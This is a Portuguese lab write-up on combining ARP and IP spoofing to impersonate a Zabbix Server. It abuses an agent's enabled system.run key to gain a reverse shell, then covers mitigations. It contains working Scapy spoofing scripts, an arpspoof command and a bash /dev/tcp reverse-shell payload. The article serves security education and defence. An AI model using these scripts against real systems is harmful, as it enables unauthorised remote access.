Por: Lucas Deodato

1. Introdução

Este trabalho tem como objetivo explorar os conceitos e as implicações práticas dos ataques de ARP e IP spoofing combinados, com uso da técnica de Adversary in the middle (AiTM), utilizando como estudo de caso o Zabbix — uma plataforma open source amplamente utilizada para monitoramento de redes e sistemas.

A pesquisa aborda conceitos fundamentais acerca das camadas dois e três do modelo OSI (Open Systems Interconnection), bem como questões de segurança pertinentes. O estudo também inclui uma demonstração prática de como um agente malicioso pode falsificar pacotes de rede utilizando o Scapy.

A partir disso, será apresentado como algumas configurações permissivas, nos mecanismos de coleta de dados do Zabbix, podem ser exploradas para obter uma shell reversa no host alvo, visando demonstrar os potenciais impactos desse ataque. Por fim, são discutidas estratégias de mitigação para reforçar a segurança em ambientes internos.

Portanto, este trabalho não visa apenas evidenciar as ameaças, mas também reforçar a importância da adoção de boas práticas de segurança, especialmente em ambientes críticos, no qual a configuração adequada dos softwares e a adoção de políticas e controles de segurança desempenham um papel fundamental na proteção contra-ataques.

2. Segurança na Camada 2

Em muitas redes locais (LANs), pode ocorrer uma confiança intrínseca nos dispositivos conectados, criando uma falsa sensação de segurança. Esse cenário se torna ainda mais preocupante diante da tendência do modelo BYOD (Bring Your Own Device) (Alotaibi; Almagwashi, 2018) e do aumento na sofisticação dos ataques cibernéticos (Najafi et. al., 2023), tornando a LAN um potencial alvo para invasores ou insiders (Liu et al., 2018), que trataremos como agentes maliciosos.

A camada 2 do modelo de referência OSI, responsável pela comunicação direta entre dispositivos no mesmo segmento de rede, desempenha um papel fundamental nesse contexto. Um comprometimento nessa camada pode afetar diretamente todas as camadas superiores, o que ressalta a importância de compreender e mitigar os riscos a ela associados, bem como os associados ao protocolo ARP – um dos principais protocolos da camada 2.

2.1 Definindo o ARP

O Address Resolution Protocol (ARP) é um protocolo de comunicação de camada 2, responsável por descobrir qual endereço IP (Internet Protocol) está associado a um determinado endereço MAC (Media Access Control), em uma rede local.

Sem o ARP, dispositivos em um mesmo segmento de rede não conseguiriam descobrir os endereços MAC necessários para entregar os quadros localmente. Ele atua como uma “ponte” entre as camadas de rede e de enlace de dados.

Além de resolver endereços IPv4 em endereços MAC, o ARP também é responsável por manter uma tabela de mapeamento de endereços IPv4 para endereços MAC. Esta tabela é armazenada temporariamente na memória RAM, sendo denominada tabela ARP ou cache ARP.

2.2 Funcionamento do ARP

Quando um dispositivo deseja se comunicar com outro no mesmo segmento de rede, é necessário que ele identifique o endereço MAC correspondente ao endereço IPv4 do host de destino. Esse processo é realizado da seguinte forma:

1. Primeiramente, o dispositivo emissor pesquisará em sua tabela ARP se o endereço IPv4 de destino corresponde a um endereço MAC. Caso não haja correspondência, ele enviará uma mensagem ARP Request para toda a sub-rede (broadcast), perguntando qual é o endereço MAC do host que possui o endereço IPv4 que o emissor quer comunicar.
2. Todos os hosts da sub-rede recebem e processam a solicitação ARP, mas apenas o host com o IPv4 correspondente, em teoria, responderá com uma mensagem ARP Reply, informando o seu endereço MAC.
3. Ao resolver um endereço pela primeira vez, a tabela MAC do emissor é atualizada com a nova entrada, evitando a necessidade de repetir o processo de descoberta em comunicações futuras, desde que o mapeamento permaneça válido.

2.3 Implicações de Segurança do ARP

O ARP é um protocolo sem estado e não requer autenticação. Conforme descrito na RFC 826, qualquer host pode enviar uma requisição ARP não solicitada, conhecida como “gratuitous ARP” (ARP gratuito), a fim de anunciar seu endereço MAC. Quando um host transmite um ARP gratuito, os demais dispositivos na mesma sub-rede atualizam suas tabelas ARP com as informações contidas no frame, associando o endereço IPv4 ao MAC anunciado, o que demonstra excesso de confiança em quem envia o ARP gratuito.

O problema desse comportamento é que qualquer host na sub-rede pode forjar um ARP gratuito, alegando ser o proprietário de qualquer combinação de endereço IP e MAC à sua escolha. Esse cenário favorece ataques de ARP Spoofing (falsificação ARP), permitindo que um agente malicioso intercepte, redirecione ou manipule o tráfego entre dispositivos na rede.

3. Ataques de Spoofing: Falsificação na Camada 2 e 3

De modo geral, spoofing, ou falsificação, é uma técnica em que um adversário manipula informações de identificação para se passar por uma fonte legítima. Essa prática pode ser usada para interceptar comunicações, exfiltrar dados e realizar várias outras atividades maliciosas. O spoofing pode ser aplicado em diversos contextos de comunicação e pode destacar vulnerabilidades críticas em protocolos como o ARP e o IP.

3.1 ARP Spoofing

O ARP Spoofing ou ARP Cache Poisoning, possibilita que um atacante intercepte a comunicação entre dois ou mais dispositivos na sub-rede local. O adversário pode agir passivamente, aguardando um ARP Request para envenenar a tabela ARP do dispositivo solicitante, conforme funcionamento padrão supracitado. Nesse caso, a sua resposta deve ser mais rápida do que a do proprietário legítimo do IP.

Outra técnica mais comum envolve o envio de múltiplos ARP Replies não solicitados (gratuitos) para os dispositivos na LAN, anunciando maliciosamente a propriedade de um endereço IP específico. Isso faz com que os dispositivos na LAN atualizem suas tabelas ARP, associando o endereço MAC do atacante, ao endereço IP que ele não possui.

Dessa forma, esse ataque pode ser utilizado para capturar pacotes de dados, realizar sequestro de sessões (session hijacking) e até mesmo estabelecer um Adversary-in-the-Middle (AiTM, técnica T1557 do Mitre Att&ck), permitindo manipulação ativa do tráfego interceptado.

3.2 IP Spoofing

O Protocolo de Internet (IP) opera na camada 3, sendo o principal responsável por encaminhar informações através da Internet. Ele atribui para cada host um endereço IP exclusivo para identificação lógica na rede. Todavia, assim como atores mal-intencionados podem falsificar mensagens ARP ou até mesmo endereços MAC, também é possível manipular e falsificar endereços IP.

As camadas superiores utilizam o endereço IP de origem de um pacote recebido para identificar o remetente. Para estabelecer comunicação com esse remetente, o dispositivo receptor simplesmente envia uma resposta para o endereço de origem contido no pacote.
Contudo, o IP não possui mecanismos nativos para validar se o endereço de origem no pacote corresponde realmente ao remetente legítimo (RFC 6864).

Essa ausência de verificação pode favorecer a prática do IP Spoofing (Falsificação de IP), em que um atacante falsifica o endereço IP de origem para personificar outra entidade e enganar o destinatário, fazendo-o acreditar que o pacote veio de uma fonte confiável. Tanto o spoofing de camada 3, quanto o de camada 2 podem ser utilizados em ataques de negação de serviço (DoS) e ataques AiTM (Whalen, 2001; Liu et al., 2018).

3.3 Técnicas de Ataque

Através do ARP Spoofing, pode ser possível coletar e/ou retransmitir dados, especialmente os enviados por protocolos inseguros e não criptografados. No contexto de ambientes monitorados pelo Zabbix, que utiliza agentes para coletar informações de hosts e enviá-las ao servidor, um atacante pode interceptar e redirecionar para si as informações enviadas entre os Agentes e o servidor Zabbix.

Conforme veremos, ataques de IP Spoofing também podem ser aplicados nesse cenário, principalmente para falsificar requisições oriundas do Zabbix Server para o Zabbix Agent e contornar certas restrições baseadas em endereços IP.

4. Cenário de Exploração

Para ilustrar como as implicações de segurança apresentadas podem ser exploradas por agentes maliciosos, foi desenvolvido um cenário, em laboratório, que simula uma LAN, composta por alguns hosts monitorados por um Zabbix Server e seus Agentes.

Nesse ambiente, as técnicas de IP e ARP Spoofing serão aplicadas em conjunto para se aproveitar de um Zabbix Agent com configurações substancialmente permissivas, visando maximizar os impactos do ataque. Além de interceptar e retransmitir o tráfego, a combinação dessas técnicas permite falsificar a origem dos pacotes e manipular os cabeçalhos nativos que o Zabbix Server utiliza para a comunicação com os Agentes.

Destarte, é importante ressaltar que, embora o Zabbix tenha sido utilizado como objeto de estudo neste cenário, a exploração poderia ser aplicada a qualquer outro software mal configurado em contextos distintos. O foco está em evidenciar como configurações inadequadas podem abrir brechas significativas para ataques.

4.1 Ambiente de Laboratório

O ambiente de laboratório deste estudo utiliza o VirtualBox como hypervisor na versão 6.1.50 para criação de três máquinas virtuais (VMs, do inglês Virtual Machines), sendo elas:

• VM 1 (192.168.0.230): Host responsável pelo serviço do Zabbix Server (versão 6.0.23), executando o Sistema Operacional Debian 11. O Zabbix Server é o componente central da arquitetura do Zabbix, responsável por processar os dados recebidos dos Agentes.
• VM 2 (192.168.0.240): Host alvo da monitoração, utilizando o Sistema Operacional Debian 12.04. Esta VM possui o serviço do Zabbix Agent instalado, cuja função é coletar diversos dados das entidades monitoradas e enviá-los para o Zabbix Server. O Agente opera no modo passivo por padrão, escutando requisições na porta TCP 10050.
• VM 3 (192.168.0.250): Máquina virtual com o Sistema Operacional Kali Linux, utilizada para executar técnicas de IP e ARP Spoofing, com o objetivo de explorar os componentes do Zabbix.

O Kali Linux foi escolhido por sua praticidade, já que oferece nativamente todas as ferramentas necessárias para realizar os ataques nesse contexto. Por outro lado, o Debian foi selecionado devido à sua ampla consolidação no mercado como uma distribuição robusta e confiável, oferecendo suporte de longo prazo (LTS) e compatibilidade com uma grande variedade de softwares, como é o caso do próprio Zabbix.

Figura 1: Diagrama ilustrando a comunicação durante o ataque

4.2 Início da Exploração: Testando Restrições de Acesso

Para que o Zabbix Agent possa responder às requisições do Zabbix Server, é necessário que o endereço IP do Servidor seja adicionado no campo “Server” do arquivo de configuração do Agente.

# Mandatory: yes
# Default:
# Server=

Server=192.168.0.230

Bloco 1: Configuração de conectividade para o servidor no arquivo de configuração do Agente.

Dessa forma, quando um host qualquer, que não esteja nessa “lista” de permissão de IPs, tentar requisitar dados do Zabbix Agent, o erro será retornado conforme o Bloco 2:

┌──(kali㉿kali)-[~]
└─$ zabbix_get -s 192.168.0.240 -p 10050 -k system.cpu.load
zabbix_get [193167]: Get value error: ZBX_TCP_READ() failed: [104] Connection reset by peer
zabbix_get [193167]: Check access restrictions in Zabbix agent configuration

Bloco 2: Erro ao solicitar coletas a um Zabbix Agent remoto a partir de um IP não configurado.

No Bloco 2, o utilitário de linha de comando zabbix_get é utilizado na VM com o Kali Linux para consultar a carga atual da CPU do servidor monitorado (192.168.0.240), por meio da key system.cpu.load.

O zabbix_get é uma ferramenta nativa do Zabbix e pode ser instalada separadamente em qualquer sistema operacional compatível com o software de monitoramento. Ela permite testar se os Agentes estão respondendo corretamente às requisições do servidor e fornecendo as métricas desejadas.

Como o endereço IP do host Kali Linux não está permitido na configuração do Agente, a comunicação é negada, como mostrado no Bloco 2. Por outro lado, uma requisição originada do Servidor Zabbix – que está permitido na configuração, conforme o Bloco 1 – seria processada com sucesso, conforme o Bloco 3:

zabbix-server@server01:~$ zabbix_get -s 192.168.0.240 -p 10050 -k system.cpu.load
0.071289

Bloco 3: requisição bem-sucedida do servidor Zabbix para Agente.

No entanto, confiar em um dispositivo baseado exclusivamente no seu endereço IP, pode expor a infraestrutura a riscos de segurança, conforme será demonstrado nas próximas seções.

4.3 Falsificando o endereço IP do Servidor Zabbix

É possível contornar as restrições de comunicação do Zabbix Agent através de IP Spoofing, explorando a confiança baseada exclusivamente no endereço IP configurado no Agente.

A técnica consiste em forjar pacotes falsos contendo o IP do Zabbix Server como origem e enviá-los a partir do ativo 192.168.0.250 (máquina do agente malicioso, sistema Kali Linux). O destino será o dispositivo com Zabbix Agent (192.168.0.240), que responderá com os dados solicitados.

O primeiro passo é criar a parte inicial do pacote e verificar se o Agente reconhece a comunicação como legítima:

from scapy.all import *

source_port = random.randint(1024, 65535)
sourceip = '192.168.0.230' # IP do Zabbix Server Legítimo
dst_ip = '192.168.0.240' # IP do alvo com Zabbix Agent
dst_port = 10050

ip_header = IP(src=sourceip, dst=dst_ip)

tcp_header = TCP(sport=source_port, dport=dst_port, flags='S')

syn = ip_header / tcp_header

synack = sr1(syn)

Bloco 4: Script Python para envio de pacotes falsificados ao Zabbix Agent do alvo (192.168.0.240).

A biblioteca Scapy permite o envio, captura, manipulação e análise de pacotes, além das funcionalidades como sniffing e scanning. No código apresentado no Bloco 4, o caractere barra “/” concatena diferentes camadas de rede no datagrama. A última linha utiliza o método sr1() para enviar o pacote SYN e armazenar a resposta SYN-ACK na variável synack.

A ferramenta Wireshark será utilizada para monitorar o envio dos pacotes gerados pelo script, bem como as respostas do Zabbix Agent, conforme a figura abaixo:

Figura 2: Captura e visualização do tráfego de rede gerado pelo script Python.

A captura no Wireshark mostra o seguinte comportamento:

1. O pacote falsificado é reconhecido pelo Zabbix Agent como originado do servidor legítimo.
2. O Zabbix Agent responde com um SYN-ACK.
3. O Zabbix Server legítimo recebe o SYN-ACK inesperado e responde com um pacote RST, finalizando a comunicação, ainda sem sucesso no ataque.

Esse comportamento ocorre porque, ao receber o pacote falsificado, o Zabbix Agent responde diretamente para o IP de origem contido no cabeçalho (192.168.0.230 – Zabbix Server real). No entanto, como o servidor legítimo nunca iniciou essa comunicação, ele descarta a conexão enviando um pacote RST.

Para contornar essa limitação é necessário redirecionar o tráfego do Zabbix Agent para a máquina atacante, garantindo que as respostas sejam entregues corretamente. Isso pode ser feito por meio de técnicas como ARP Spoofing ou manipulação de roteamento, permitindo a interceptação da comunicação.

4.4 Redirecionando o tráfego: ARP Cache Poisoning

Para redirecionar o tráfego do Zabbix Agent, destinado ao Zabbix Server, para a máquina do atacante, será utilizada a técnica ARP Spoofing, com a ferramenta arpspoof, que faz parte da suíte de ferramentas do pacote dsniff.

O comando do Bloco 5 faz com que o alvo (192.168.0.240 – Zabbix Agent) acredite que o endereço IP 192.168.0.230 (Zabbix Server) pertence à interface de rede eth0 da máquina atacante:

arpspoof -i eth0 -t 192.168.0.240 192.168.0.230

Bloco 5: executando o ARP Spoofing no Zabbix Agent.

Isso ocorre porque o comando envia Gratuitous ARPs para o alvo (192.168.0.240), manipulando sua tabela ARP para que ele associe o IP do Zabbix Server ao MAC do atacante. Assim, qualquer tráfego destinado ao servidor legítimo será redirecionado para a máquina atacante, uma vez que eles estão no mesmo segmento de rede (LAN).

No estado original, a tabela ARP do alvo exibe a associação correta entre o IP do Zabbix Server (192.168.0.230) e seu respectivo endereço MAC, conforme Figura 3.

Figura 3: Tabela ARP do Zabbix Agent alvo.

Na tabela ARP do atacante (Kali Linux), o IP 192.168.0.230 também aponta para o MAC real do servidor Zabbix, conforme Figura 4.

Figura 4: Tabela ARP do host do atacante.

Após executar o comando de ARP Spoofing, a tabela ARP do Zabbix Agent é alterada. Agora, o endereço MAC associado ao IP do Zabbix Server foi substituído pelo MAC da máquina atacante, conforme Figura 5.

Figura 5: Tabela ARP do alvo “envenenada” após o ARP Spoofing.

Com isso, qualquer comunicação do Zabbix Agent destinada ao servidor legítimo será interceptada pelo atacante, permitindo a captura e manipulação dos pacotes. Logo, após o envio do pacote falso, percebe-se que os pacotes RST não são mais retornados, pois o tráfego está sendo corretamente redirecionado para o atacante.

Figura 6: Visualização do tráfego gerado pelo script, após o ataque de ARP Spoofing.

Na Figura 6, pode-se observar mensagens do tipo “[TCP Retransmission]”, em que o Zabbix Agent continua enviando pacotes SYN-ACK para a máquina atacante, acreditando estar se comunicando com o servidor legítimo. Assim, esse cenário configura os ataques de IP e ARP spoofing combinados.

O tráfego visualizado na Figura 6 indica que o Agente está esperando um retorno do dispositivo do atacante (flag ACK), para fechar o three-way handshake. Portanto, a partir desse ponto, torna-se possível reconstruir o TCP handshake no script demonstrado no Bloco 6:

import random
import struct
from scapy.all import IP, TCP, send, sr1

# Configurações da conexão
SOURCE_IP = "192.168.0.230"
TARGET_IP = "192.168.0.240"
TARGET_PORT = 10050
SOURCE_PORT = random.randint(1024, 65535)

# Payload do Zabbix Agent
ZBX_DATA = b"agent.ping"
PAYLOAD_ZBX = b"ZBXD1" + struct.pack("<II", len(ZBX_DATA), 0) + ZBX_DATA

def send_syn():
    """Envia o pacote SYN para iniciar o three-way handshake."""
    syn_packet = IP(src=SOURCE_IP, dst=TARGET_IP) / TCP(
        sport=SOURCE_PORT, dport=TARGET_PORT, flags='S'
    )
    return sr1(syn_packet, timeout=2)

def send_ack(received_syn_ack):
    """Responde com ACK após receber SYN-ACK."""
    ack_packet = IP(src=SOURCE_IP, dst=TARGET_IP) / TCP(
        sport=SOURCE_PORT, dport=TARGET_PORT, flags='A',
        seq=received_syn_ack.ack, ack=received_syn_ack.seq + 1
    )
    send(ack_packet)

def send_payload(syn_ack):
    """Envia o payload com flag 'PA' e aguarda resposta."""
    push_packet = IP(src=SOURCE_IP, dst=TARGET_IP) / TCP(
        sport=SOURCE_PORT, dport=TARGET_PORT, flags='PA',
        seq=syn_ack.ack, ack=syn_ack.seq + 1
    ) / PAYLOAD_ZBX
    return sr1(push_packet, timeout=2)

def send_rst(agent_response):
    """Encerra a conexão com um pacote RST."""
    rst_packet = IP(src=SOURCE_IP, dst=TARGET_IP) / TCP(
        sport=SOURCE_PORT, dport=TARGET_PORT, flags='R',
        seq=agent_response.ack,
        ack=agent_response.seq + len(agent_response[TCP].payload)
    )
    send(rst_packet)

# ===============================
# Execução principal do script
# ===============================

print("[*] Iniciando three-way handshake...")

syn_ack = send_syn()
if syn_ack:
    print("[+] SYN-ACK recebido.")
    send_ack(syn_ack)

    print("[*] Enviando payload...")
    agent_response = send_payload(syn_ack)

    if agent_response:
        print("[+] Resposta recebida!")
        print("[+] Enviando RST para finalizar conexão...")
        send_rst(agent_response)
    else:
        print("[-] Nenhuma resposta do Zabbix Agent.")
else:
    print("[-] Nenhuma resposta ao SYN.")

Bloco 6: script para consolidar o ataque ao fechar o TCP handshake.

Ao executar o script completo, tem-se o seguinte tráfego gerado na rede:

Figura 7: Captura de tráfego no Wireshark mostrando a comunicação entre o atacante e o Zabbix Agent.

Observando a Figura 7, nota-se que a sessão TCP foi reconstruída, permitindo que o Zabbix Agent aceitasse os pacotes falsificados. Nessa perspectiva, na última linha do tráfego capturado – destacada em vermelho – uma flag RST foi enviada pelo script, a fim de finalizar a conexão de forma imediata.

Por outro lado, na linha 4, a requisição foi enviada pelo falso servidor Zabbix e, na linha 6, o Zabbix Agent retornou a resposta — ambas destacadas em azul. Ao analisar detalhadamente esses pacotes, é possível observar, respectivamente, o payload da requisição forjada (Figura 8) e o payload da resposta do Zabbix Agent (Figura 9):

Figura 8: Requisição falsificada da máquina do atacante.

Figura 9: Resposta o agente à solicitação falsificada

A key ,utilizada no exemplo anterior, verifica a disponibilidade do serviço do Agente, retornando o valor 1 caso ele esteja operante. Com isso, confirma-se que o Zabbix Agent processa e responde às requisições falsificadas.

4.5 Obtendo uma shell reversa através do system.run

O Zabbix possui uma chave chamada system.run, que permite a execução remota de comandos no host monitorado. Essa funcionalidade amplia a flexibilidade na monitoração do Zabbix, permitindo a execução de scripts e comandos personalizados que não estão disponíveis nativamente.

Embora esta opção não esteja habilitada por padrão, infelizmente é comum encontrá-la ativa em ambientes de produção, especialmente quando há a necessidade de coletar informações específicas ou automatizar tarefas no(s) ativos(s) monitorado(s) e o exemplo dessa configuração demasiadamente permissiva encontra-se no Bloco 7.

## Option: AllowKey
AllowKey=system.run[*]

Bloco 7: system.run habilitada na configuração do Zabbix Agent remoto.

4.5.1 Explorando a funcionalidade system.run

A system.run permite que o Zabbix Server envie comandos para o Zabbix Agent e receba a saída da execução. Não obstante, em ambientes mal configurados, essa funcionalidade pode ser utilizada sem restrições, abrindo um vetor para a execução de comandos maliciosos.

Com o tráfego ainda sendo redirecionado para a máquina do atacante (conforme o ataque realizado no tópico 4.4), o atacante pode enviar o comando demonstrado no Bloco 8 para identificar o usuário atual:

system.run[id]

Bloco 8: Comando para identificar o usuário atual no sistema.

A sintaxe segue o seguinte formato: system.run[<command>]. Se o comando retornar à identidade do usuário atual (no caso, o usuário zabbix), significa que o Zabbix Agent está configurado para aceitar comandos arbitrários.

Para explorar essa vulnerabilidade, é necessário modificar o script utilizado no Bloco 6 substituindo o valor b”agent.ping” pelo valor b”system.run[id]” na constante ZBX_DATA, garantindo que a solicitação enviada ao Agente contenha a chave desejada.

Após realizar essa alteração e executar o script, pode-se visualizar (Figura 10), no detalhamento resposta, que o Zabbix Agent responde corretamente ao comando enviado:

Figura 10: Resposta do Zabbix Agent alvo ao comando system.run[id].

Após aferir que a funcionalidade está habilitada, o próximo passo é iniciar o processo de obtenção de uma shell reversa.

4.5.2 Obtendo uma shell reversa

Para explorar essa vulnerabilidade e obter uma shell reversa no dispositivo alvo, o atacante deve, inicialmente, abrir um serviço em modo listener (ouvinte) na própria máquina:

Figura 11: Listener configurado na porta 4444.

O comando na Figura 11 utiliza a ferramenta netcat para escutar (listen) conexões na porta 4444. Assim que o host alvo for comprometido, ele se conectará a essa porta, concedendo ao atacante controle remoto sobre o sistema. O comando para estabelecer a shell reversa pode ser enviado ao Zabbix Agent conforme Bloco 9:

echo -e '#!/bin/bashnbash -i >& /dev/tcp/192.168.0.108/4444 0>&1' > /tmp/shell.sh; chmod +x /tmp/shell.sh; /bin/bash /tmp/shell.sh

Bloco 9: Comando bash executado a partir da system.run para obter uma shell reversa.

O comando do Bloco 9 realiza as seguintes operações:

1. Criar um script Bash: O comando echo gera um arquivo chamado shell.sh, com uma instrução ‘#!/bin/bashnbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1’ para definir os parâmetros para a shell reversa e, posteriormente, conectar-se ao serviço na porta 4444 do agente malicioso.
2. Tornar o arquivo executável: O comando chmod +x atribui permissão de execução no arquivo shell.sh na máquina alvo.
3. Execução da shell reversa: O comando /bin/bash /tmp/shell.sh executa o script, fazendo com que a máquina alvo se conecte ao atacante e forneça controle remoto via shell reversa.

Novamente, é necessário inserir o novo comando (Bloco 9) na constante ZBX_DATA (Bloco 6). A configuração da linha é exposta no Bloco 10:

ZBX_DATA = b"system.run["echo -e '#!/bin/bash\nbash -i >& /dev/tcp/192.168.0.108/4444 0>&1' > /tmp/shell.sh; chmod +x /tmp/shell.sh; /bin/bash /tmp/shell.sh"]"

Bloco 10: Comando para gerar shell reversa.

Após configurar o listener e realizar a alteração no script, a saída será obtida conforme Figura 12:

Figura 12: Shell reversa obtida no host alvo via Zabbix Agent.

4.5.3 Consequências e Possíveis Movimentações Pós-Exploração

Uma vez que o atacante tenha estabelecido uma shell reversa, ele poderá executar diversas ações para ampliar seu controle sobre o sistema. Algumas das táticas mais comuns incluem:

• Escalada de privilégios: Exploração de vulnerabilidades locais para obter privilégio root (Privilege Escalation – TA0004 no Mitre Att&ck).
• Exfiltração de dados: Roubo de informações sensíveis armazenadas no sistema (Exfiltration – TA0010 no Mitre Att&ck).
• Persistência: Implantação de backdoors para manter acesso ao dispositivo comprometido (Persistence – TA0003 no Mitre Att&ck).

Embora essas técnicas avancem para além do escopo deste estudo, é essencial compreender como agentes maliciosos podem se aproveitar de sistemas mal configurados para realizar ataques e ampliar os danos causados.

5. Medidas de Mitigação

Para reduzir os riscos associados aos ataques de ARP Spoofing e IP Spoofing, é essencial adotar uma abordagem defensiva e implementar mecanismos que dificultem a exploração dessas vulnerabilidades. A seguir, são apresentadas algumas medidas eficazes para mitigar esses ataques.

Criptografia de Tráfego em Camadas Superiores

A adoção de protocolos de criptografia, como o TLS (Transport Layer Security), constitui uma camada de proteção essencial contra-ataques baseados na falsificação de endereços, como IP spoofing e ARP spoofing. Ao garantir a confidencialidade e a integridade dos dados transmitidos, o TLS impede que agentes maliciosos interpretem ou alterem informações, mesmo que consigam interceptar o tráfego de rede por meio da manipulação de endereços IP ou MAC.

No contexto específico do Zabbix, a principal medida de segurança recomendada contra esse tipo de ameaça é, justamente, a habilitação da criptografia TLS na comunicação entre o Zabbix Server e os Zabbix Agents. Com essa configuração, toda a troca de dados passa a ser protegida de ponta a ponta, assegurando que apenas partes que possuem a chave criptográfica possam requisitar, acessar ou interpretar as informações.

Mesmo diante de um comprometimento da infraestrutura de rede, como em ataques de spoofing, a utilização da criptografia torna ineficaz o ataque demonstrado neste laboratório.

Controle de Acesso à Rede ou Network Access Control (NAC)

A nível de monitoramento, detecção e resposta, dentre todas as soluções sugeridas, a solução mais robusta e recomendada é implementar uma Controle de Acesso à Rede, ou Network Access Control (NAC), que, como o nome sugere, controla o acesso à rede e pode oferecer uma suíte de mecanismos protetivos ou mitigatórios que serão apresentados a seguir (Abdullah, 2023).

5.1 Proteções contra ARP Spoofing

Filtragem de ARP (Dynamic ARP Inspection – DAI)

A Inspeção Dinâmica de ARP (DAI) é uma funcionalidade presente em switches gerenciáveis que monitora pacotes ARP e bloqueia atualizações não autorizadas na tabela ARP. Quando ativado, ele verifica se o endereço MAC e o endereço IP de origem correspondem a uma entrada válida no banco de dados de vinculação DHCP Snooping. Caso contrário, o pacote é descartado, impedindo a injeção de registros ARP falsificados na rede.

A configuração do DAI pode variar de acordo com o fabricante e modelo dos mecanismos de detecção. Como referência, a documentação oficial da Cisco fornece um exemplo detalhado de configuração para switches da linha Catalyst, além de uma explicação mais aprofundada acerca do funcionamento do DAI.

Uso de Tabelas ARP Estáticas

Mapeamentos ARP estáticos podem ser especialmente úteis em redes onde os hosts utilizam endereços IP fixos e o recurso de DHCP snooping não está disponível, seja por limitação do ambiente ou por ausência de suporte em switches da infraestrutura. Nesses casos, configurar entradas ARP estáticas para dispositivos críticos ajuda a proteger seus endereços contra-ataques de ARP Spoofing.

Essa configuração pode ser aplicada diretamente nos dispositivos ou em switches que permitam o gerenciamento manual da tabela ARP. No entanto, pode ser uma opção inviável para redes de grande porte.

Monitoramento de Tráfego ARP

O uso de outras ferramentas especializadas no monitoramento de pacotes ARP permite identificar alterações suspeitas na tabela ARP, ajudando a detectar ataques de ARP Spoofing em tempo real.

• arpwatch – Monitora mudanças nos mapeamentos IP-MAC e gera alertas quando novos endereços são associados a um MAC previamente registrado;
• XArp – Permite um monitoramento avançado analisando padrões de tráfego e identificando pacotes ARP falsos.

Além das medidas mencionadas, a página que aprofunda a técnica em questão pelo Mitre Att&ck, sugere estratégias adicionais para mitigar ataques de ARP Spoofing e Adversary-in-the-Middle, incluindo:

• Desabilitar a atualização do cache ARP em respostas ARP gratuitas, reduzindo a possibilidade de envenenamento da tabela ARP;
• Criptografar informações confidenciais, especialmente em protocolos de autenticação, além de utilizar TLS para proteger o tráfego web contra interceptação;
• Implementar soluções de detecção e prevenção de intrusões, como IDS (Intrusion Detection System) e IPS (Intrusion Prevention System), para identificar padrões de ataques AiTM e responder proativamente às ameaças.

5.2 Proteção contra IP Spoofing

Filtragem de Tráfego de Entrada e Saída

Apesar de não surtir efeito em redes LANs, os sistemas de filtragem de pacotes, geralmente incorporados em roteadores e firewalls, para tráfego entre redes, são essenciais para a detecção de inconsistências entre endereços IP e regras definidas em listas de controle de acesso (ACLs). Além disso, essas soluções permitem identificar e bloquear pacotes fraudulentos, prevenindo ataques baseados em falsificação de identidade.

A implementação da filtragem de pacotes pode ser feita com firewalls de borda, ACLs (Access Control Lists) e regras de roteamento específicas para validar os endereços de origem e destino.

Autenticação

A falsificação de pacotes pode ser mitigada com o uso de protocolos seguros, que garantem a autenticidade e integridade das comunicações, como o IPSec (Internet Protocol Security).

Nesse panorama, para estabelecer uma conexão IPSec, é necessária autenticação mútua, garantindo que ambas as partes provem sua identidade antes de iniciar a comunicação. Esse processo impede que um agente malicioso apenas falsifique um endereço IP e se passe por um dispositivo legítimo.

Todas as comunicações subsequentes são criptograficamente protegidas, tornando impossível continuar a troca de dados sem ter passado pela fase de autenticação. Dessa forma, um atacante pode até falsificar um IP, mas não conseguirá estabelecer uma conexão válida sem as credenciais corretas.

Segmentação da Rede

A implementação de boas práticas de segmentação de rede pode limitar o impacto de ataques de IP Spoofing. Dessa forma, utilizar VLANs para separar diferentes partes da rede pode impedir que um agente malicioso falsifique um IP e tenha acesso irrestrito a todos os dispositivos.

Monitoramento e Análise de Tráfego

A detecção de padrões suspeitos de tráfego pode revelar tentativas de IP Spoofing antes que causem danos significativos. Nesse contexto, soluções IDS/IPS podem auxiliar a identificar e bloquear pacotes anômalos com endereços IPs falsificados.

5.3 Hardening no Zabbix

A documentação oficial do Zabbix fornece um guia de boas práticas de segurança, disponível em 1 Security best practices. A adoção dessas recomendações reduz significativamente os riscos de exploração. Algumas recomendações adicionais são:

Restringir IPs no Zabbix Agent

Configurar a opção Server=<IP_AUTORIZADO> no zabbix_agentd.conf para limitar conexões ao servidor autorizado.

Desativar Funcionalidades não utilizadas

Se os comandos remotos não estiverem sendo utilizados, não há necessidade de habilitá-los no arquivo de configuração. Caso seja necessário habilitar a funcionalidade comandos remotos, é imprescindível restringir não só quais comandos podem ser executados, mas também o nível de permissão do usuário Zabbix no sistema.

6. Conclusão

Este estudo demonstrou como ARP e IP Spoofing podem ser explorados para comprometer a segurança de redes locais através do AiTM, permitindo interceptação de tráfego, redirecionamento de comunicação e até mesmo a obtenção de acesso remoto não autorizado em um host com Agente Zabbix.

A exploração prática evidenciou a fragilidade da confiança baseada exclusivamente em endereços IP, destacando a importância de configurações robustas para mitigar esses ataques. Além disso, foi demonstrado como um agente malicioso pode combinar ambas as técnicas para contornar restrições de comunicação e executar comandos arbitrários via system.run, resultando na obtenção de uma shell reversa.

Diante disso, fica evidente a necessidade da criptografia para impedir o ataque além de medidas preventivas, como inserção de um NAC, proteção contra ARP Spoofing, filtragem de pacotes falsificados, hardening do Zabbix e, de modo geral, dos softwares que compõem o ambiente.

Por fim, é importante destacar que a segurança de redes corporativas não pode depender apenas de restrições superficiais, mas sim de uma abordagem de defesa em profundidade e interdependência de controles de segurança (NIST, 2017).

6.1 Desafios atuais acerca do ARP Spoofing

Com o advento de arquiteturas mais complexas — como redes híbridas, ambientes em nuvem, redes definidas por software (SDN) e modelos baseados em Zero Trust —, o ARP Spoofing tende a atuar como componente auxiliar em cadeias de ataque mais sofisticadas.

Além disso, o crescimento do uso dispositivos IoT (Dachyar; Zagloel; Saragih, 2019) e a convergência entre as áreas de Tecnologia da Informação (TI) e Tecnologia Operacional (OT) ampliam o escopo de impacto do ARP Spoofing, uma vez que muitos desses dispositivos operam sem mecanismos robustos de proteção na camada de enlace.

Abordagens modernas podem incorporar técnicas de inteligência artificial e aprendizado de máquina para identificar padrões anômalos no tráfego ARP (Yang, Li, Zhang e Wei, 2022; Almagwashi e Alotabi, 2022), adicionando assim uma camada extra de defesa e possibilitando respostas automatizadas e proativas, mesmo diante de técnicas de evasão sofisticadas.

7. Referências

